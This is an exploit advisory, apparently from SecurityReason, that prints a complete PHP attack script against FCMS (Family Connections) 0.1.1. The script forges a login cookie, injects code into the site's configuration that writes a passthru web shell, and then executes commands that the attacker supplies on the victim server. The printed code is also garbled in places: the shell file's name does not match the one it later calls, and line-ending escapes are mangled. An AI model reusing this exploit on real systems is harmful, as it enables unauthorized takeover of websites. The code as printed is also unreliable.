SecurityReason - FCMS (Family Connections) <= 0.1.1 Remote Command Execution Exploit

Advisory Text :

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
# FCMS (Family Connections) <= 0.1.1 Remote Command Execution Exploit
# AUTHOR: ilker kandemir <ilkerkandemir[at]mynet.com>
# DOWNLOAD:http://sourceforge.net/project/showfiles.php?group_id=189733
# Thanks to rgod for the php code and Ajann for helps

";
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path CMD
Host: target server (ip/hostname)
Path: path of FCMS

Example:
php ".$argv[0]." localhost /FCMS/ dir";

die;
}
/*
The problem is in index.php:

{
if (isset($_COOKIE['fcms_login_id'])) {
$_SESSION['login_id'] = $_COOKIE['fcms_login_id'];
}

This exploit create a ilker.php shell on the victim site

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);

$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step0 - See If ilker.php already exists..rn";
$packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=$cmdrn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded...rn";
$temp=explode("666999",$html);
die("rn".$temp[1]."rn");
}

echo "Step1 - Retrieving Configurationrn";
$packet="GET ".$p."index.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: admin=ilkerrn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("<textarea name="content" cols="80" rows="20">", $html);
$config_file=explode("</textarea><br /><input type="submit" /></form>",
$temp[1]);
$new_file = str_replace('?>', '
$fp=fopen('piggy_marty.php','w');
fputs($fp,'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?>');
fclose($fp);
chmod('ilker.php',777);
?>', $config_file[0]);

echo "Step2 - Uploading New Data..rn";
$data="content=".urlencode($new_file);
$packet="POST ".$p."index.php HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, * /*rn";
$packet.="Referer: http://".$host.$path."index.phprn";
$packet.="Accept-Language: itrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: fcms_login_id=ilkerrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachernrn";
$packet.=$data;
sendpacketii($packet);

echo "Step3 - Executing Shell Makerrn";
$packet="GET ".$p."index.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
sleep(3);
echo "Step4 - Executing Shell..rn";
$packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=$cmdrn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded...rn";
$temp=explode("666999",$html);
die("rn".$temp[1]."rn");
}

?>

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